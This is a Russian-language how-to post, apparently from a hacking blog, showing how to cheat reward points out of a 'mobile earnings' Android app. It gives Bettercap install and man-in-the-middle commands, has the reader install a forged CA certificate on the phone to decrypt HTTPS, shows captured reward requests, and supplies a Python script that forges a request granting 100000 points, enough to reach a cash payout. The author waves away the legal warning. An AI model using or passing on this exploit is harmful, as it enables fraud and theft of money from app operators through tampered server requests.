Бесконечная накрутка в уязвимых android приложениях

Бесконечная накрутка в уязвимых android приложениях

Life-Hack

*Здесь могло быть предупреждение о том, что не нужно пользоваться данным методом в целях совершения преступления, но вы же умные ребята, верно?*

Don't try this at home, kids.


Сегодня я хотел бы показать на примере, как халатно относятся разработчики приложений для "мобильного заработка" (заработка разработчиков, естественно) к безопасности своих программ.


Инструменты:

  1. Bettercap
  2. На Kali Linux:
  3. sudo apt-get install build-essential ruby-dev libpcap-dev
  4. sudo apt-get install bettercap 
  5. На других Linux-системах:
  6. git clone https://github.com/evilsocket/bettercap
  7. cd bettercap
  8. gem build bettercap.gemspec
  9. sudo gem install bettercap*.gem
  10. VM либо телефон на android с play market


Устанавливаем приложение.

Достаточно набрать в поиске гугл плей что-то вроде "Мобильный заработок" или "Накрутка лайков вк" и т.д.

Я выбрал с картинкой посмешнее и названием поглупее.​


Поддельный сертефикат.

Большинство приложений сегодня используют https соеденение. Что бы мы могли расшифровать трафик, будем использовать поддельный сертефикат. Таковой уже имеется в Bettercap в директории /sudo/.bettercap/bettercap-ca.pem. Его нужно установить на телефон (настройки > безопасность > сертефикаты).

Начинаем снифать трафик.

В консоли компьютера пишем:

sudo bettercap -T 192.168.0.100 --proxy-https --sniffer 

Где

-T - ip телефона

--proxy-https - использовать прокси с поддельным https сертефикатом для расшифровки траффика

--sniffer - запустить сниффер пакетов.

Исследуем трафик приложения.

Теперь, когда трафик отслеживается, поклацаем по разным кнопкам и попробуем выполнить задание.

Я нашёл для себя интересными два запроса:

получил бонус

[192.168.0.100] POST %ссылка% ( text/html ) [200]


[REQUEST HEADERS]

'User-Agent' : %user_agent%

'Content-Type : application/x-www-form-urlencoded'

'Content-Length : 44'

Host : url.bitcoin-miner.ru

Connection : close

Accept-Encoding : identity


[REQUEST BODY]

userid : %user_id%

points : 100

type : Daily_Reward_v2 

Выполнил задание

[192.168.0.100] POST %ссылка% ( text/html ) [200]


[REQUEST HEADERS]

User-Agent : %user_agent%

Content-Type : application/x-www-form-urlencoded

Content-Length : 40

Host : url.bitcoin-miner.ru

Connection : close

Accept-Encoding : identity


[REQUEST BODY]

username : %user_name%

points : 50

type : Vungle_Video 

Создаём кастомный запрос.

Поэксперементировав с данными из полученых запросов, пишем скрипт для отправки кастомного запроса:

import requests

link = '%ссылка%'

headers = {'User-Agent' : %user_agent%,

'Content-Type' : 'application/x-www-form-urlencoded',

'Content-Length' : '44',

'Host' : 'url.bitcoin-miner.ru',

'Connection' : 'close',

'Accept-Encoding' : 'identity'}

payload = {'userid' : %user_id%,

'points' : 100000, # да да, можно поставить столько монет, сколько захочешь

'type' : 'Vungle_Video'}

r = requests.post(link, headers=headers, data=payload) # можно запихнуть в цикл, если бы сервис не разрешал менять колличество получаемых очков за раз.

print(r.text) 

Запрос выполнился с ответом

{"result":"true","msg":"Points Updated"} 

Очки начислены мне на аккаунт, это, кстати говоря, минимальная сумма выплаты (8$)

Итог.

Гугл плей забит подобными приложениями, разработчики которых зарабатывают на желании быстрой наживы у неокрепших умов. Чаще всего, правда, создатели совсем не заботятся о безопасности своего детища. В этом случае мне пришлось поэксперементировать с запросами, но что-то мне подсказывает, что во многих подобных приложениях можно просто циклично переотправить один запрос, выдающий монетки за выполненное задание.


P.S: воровство - это плохо, но исследование трафика и накрутку лайков никто не запрещал. Источник

Report Page